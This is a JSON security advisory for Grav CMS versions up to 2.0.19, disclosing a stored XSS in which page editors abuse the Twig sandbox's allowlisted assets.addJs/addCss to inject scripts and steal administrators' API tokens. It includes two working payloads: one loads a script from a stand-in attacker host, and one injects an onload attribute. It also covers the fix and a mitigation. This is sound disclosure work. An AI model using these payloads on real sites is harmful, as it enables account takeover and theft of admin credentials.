{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.19"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T19:14:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nGrav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists `addcss` and `addjs` on `Grav\\Common\\Assets` (`system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307`). Because the sandbox arbitrates the *call* and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a `\u003cscript src\u003e` / `\u003clink href\u003e` tag. The asset URL is concatenated into that tag **without escaping**, so it can also break out of its own attribute.\n\nThe save-time XSS scan cannot see this: `Security::detectXssInEditorContent()` renders the content body in isolation and inspects the returned string, while `assets.addJs()` acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.\n\nThis is not a `Security::detectXss()` bypass. It is content reaching an unescaped output sink through an allowlisted method.\n\n## Affected versions\n\nAll Grav 2.0 releases whose sandbox policy allowlists `addcss`/`addjs` on `Grav\\Common\\Assets`. The entry predates 2.0.19 \u2014 it was carried forward unchanged when the sandbox allowlists moved from `system/config/security.yaml` into `SandboxDefaults` in 2.0.19.\n\nGrav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page `process: twig`.\n\n## Details\n\n**Reachable by a plain page editor, with no Twig permission and no configuration change.** On a stock install `security.twig_content.process_enabled` is `true` and `system/config/system.yaml` ships `process: { markdown: true }` with no `twig` key, so `Security::applyTwigContentDefault()` defaults every page\u0027s `process.twig` to the gate\u0027s value. Content Twig therefore runs on every page that does not explicitly set the flag. `security.twig_content.editor_enabled: false` and the `admin.pages_twig` permission gate only the per-page *override checkbox* in the editor \u2014 they do not gate whether Twig runs.\n\n**The sink.** `Assets/Js.php:46` (and identically `Css.php:50`, `Link.php:41`, `JsModule.php:47`) builds the tag by concatenation with no escaping:\n\n```php\nreturn \u0027\u003cscript src=\"\u0027 . trim($this-\u003easset) . $this-\u003erenderQueryString() . \u0027\"\u0027 . $this-\u003erenderAttributes() . ...\n```\n\nFor any remote asset, `BaseAsset::init()` stores the caller\u0027s string verbatim. Two working variants follow:\n\n1. External script inclusion \u2014 `{{ assets.addJs(\u0027https://attacker.example/poc.js\u0027) }}`\n2. Attribute injection with **no attacker-controlled host** \u2014 `{{ assets.addJs(\u0027/user/themes/quark/js/site.js\u0027, {\u0027onload\u0027:\u0027alert(1)\u0027}) }}`, because `unifyLegacyArguments()` passes a second array argument straight into the tag\u0027s attributes and attribute *names* are not filtered. The same effect is reachable by embedding a quote in the URL itself.\n\n**Timing.** `Twig::processSite()` resolves `$page-\u003econtent()` before rendering the theme template, so the registration lands before the head is emitted.\n\n`javascript:` and `data:` URLs are not exploitable \u2014 they are treated as local paths and dropped when the file does not exist.\n\n## Impact\n\nPersistent script execution on the site\u0027s own origin for every visitor of the affected page \u2014 **including administrators**, which makes this a page-editor-to-super-admin escalation:\n\n- Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with `sandbox=\"allow-same-origin allow-scripts allow-forms\"`, so simply previewing the editor\u0027s page executes the payload on the admin panel\u0027s origin. The existing preview session isolation (`plugins.api.protect_frontend_session`) only suppresses server-side session start to protect a visitor\u0027s front-end session; it does not isolate the origin and does not prevent this.\n- Admin-Next persists the administrator\u0027s API **access and refresh JWTs** in `localStorage` on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view.\n- An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.\n\n## Patches\n\nFixed in Grav 2.0.20:\n\n- `addcss`/`addjs` removed from the `Grav\\Common\\Assets` sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through `security.twig_sandbox.allowed_methods`, which is additive over the shipped defaults.\n- Asset URLs are now HTML-escaped at every render site (`Js`, `Css`, `Link`, `JsModule`, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.\n\nOperators who cannot upgrade immediately can tighten the policy in `user/config/security.yaml`:\n\n```yaml\ntwig_sandbox:\n  denied_methods:\n    - class: Grav\\Common\\Assets\n      methods: \u0027addcss, addjs\u0027\n```\n\n## Credits\n\nReported by Ahmed Ibrahim (@skeletonsec).",
  "id": "GHSA-8hgv-xc77-jmcr",
  "modified": "2026-08-21T19:14:59Z",
  "published": "2026-08-21T19:14:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8hgv-xc77-jmcr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/a4e8c4b748eb338ee7ab1dd26e7620a93bade047"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/releases/tag/2.0.20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox\u0027s assets.addJs/addCss allowlist, escalating to super-admin"
}